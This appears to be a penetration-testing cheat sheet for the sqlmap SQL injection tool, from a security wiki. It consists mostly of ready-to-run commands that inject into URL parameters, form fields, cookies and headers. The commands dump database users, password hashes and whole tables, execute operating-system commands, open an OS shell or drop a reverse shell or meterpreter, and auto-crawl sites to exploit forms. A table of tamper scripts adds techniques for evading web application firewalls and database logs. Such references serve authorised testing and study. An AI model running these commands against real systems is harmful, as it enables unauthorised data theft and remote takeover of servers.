hacktricks/pentesting-web/sql-injection/sqlmap/README.md

# SQLMap - Cheetsheat

## Basic arguments for SQLmap

### Generic

```bash
-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```

### Retrieve Information

#### Internal

```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```

#### DB data

```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```

## Injection place

### From Burp/ZAP capture

Capture the request and create a req.txt file

```bash
sqlmap -r req.txt --current-user
```

### GET Request Injection

```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```

### POST Request Injection

```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```

### Injections in Headers and other HTTP Methods

```bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'
```

### Second order injection

```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```

### Crawl a website with SQLmap and auto-exploit

```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Second Order Injection

\*\*\*\*[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.**

## Customizing Injection

### Set a suffix

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### Prefix

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
```

### Help finding boolean injection

```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```

### Tamper

Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md).

```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```

| Tamper | Description |
| :--- | :--- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator \('&gt;'\) with 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' |
| escapequotes.py | Slash escape quotes \(' and "\) |
| greatest.py | Replaces greater than operator \('&gt;'\) with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Adds a percentage sign \('%'\) infront of each character |
| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character \(' '\) with comments |
| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) |
| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) |
| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) |
| space2plus.py | Replaces space character \(' '\) with plus \('+'\) |
| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |